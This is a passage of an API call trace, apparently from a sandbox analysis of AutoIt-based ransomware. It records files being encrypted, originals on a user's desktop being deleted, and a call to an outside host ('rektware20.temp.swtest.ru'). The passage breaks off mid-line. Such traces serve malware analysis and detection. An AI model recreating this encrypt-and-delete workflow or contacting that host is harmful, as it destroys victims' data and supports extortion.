(in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.791] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.791] CryptEncrypt (in: hKey=0x164c9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x10505, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10510) returned 1 [0079.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.791] CharLowerBuffW (in: lpsz="byte[66833]", cchLength=0xb | out: lpsz="byte[66833]") returned 0xb [0079.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.792] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.793] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.793] CryptEncrypt (in: hKey=0x164c9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1811a50*, pdwDataLen=0x130e618*=0x10505, dwBufLen=0x10510 | out: pbData=0x1811a50*, pdwDataLen=0x130e618*=0x10510) returned 1 [0079.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.793] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.793] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.793] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.793] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.793] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.793] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.794] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.794] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.797] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.797] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x10510, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x10510, lpOverlapped=0x0) returned 1 [0079.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.799] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0079.799] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.799] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.799] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0079.799] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621108, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0079.799] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0079.799] CryptDestroyKey (hKey=0x164c9f0) returned 1 [0079.799] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.799] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.799] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.799] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.800] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.800] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.800] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.800] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.800] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.800] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.800] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.800] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.800] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.800] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.800] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.801] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.801] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.801] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0079.801] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0079.801] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0079.801] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.801] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.801] FreeLibrary (hLibModule=0x74c60000) returned 1 [0079.801] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.801] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.801] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.802] CloseHandle (hObject=0x3c8) returned 1 [0079.804] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.804] CloseHandle (hObject=0x3d8) returned 1 [0079.806] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.809] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.809] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", lpFilePart=0x0) returned 0x30 [0079.809] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\cp-8vvuvb.gif")) returned 0x20 [0079.809] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6f0 [0079.809] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\cp-8vvuvb.gif")) returned 1 [0079.813] FindNextFileW (in: hFindFile=0x164c6f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0079.813] FindClose (in: hFindFile=0x164c6f0 | out: hFindFile=0x164c6f0) returned 1 [0079.814] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.814] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.814] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.814] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.814] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0079.814] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0079.814] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.814] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0079.814] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.814] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0079.814] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0079.814] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0079.814] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.814] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.815] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.815] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0079.815] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0079.815] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0079.816] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0079.816] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0079.816] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.816] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.816] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.816] CloseHandle (hObject=0x0) returned 0 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", 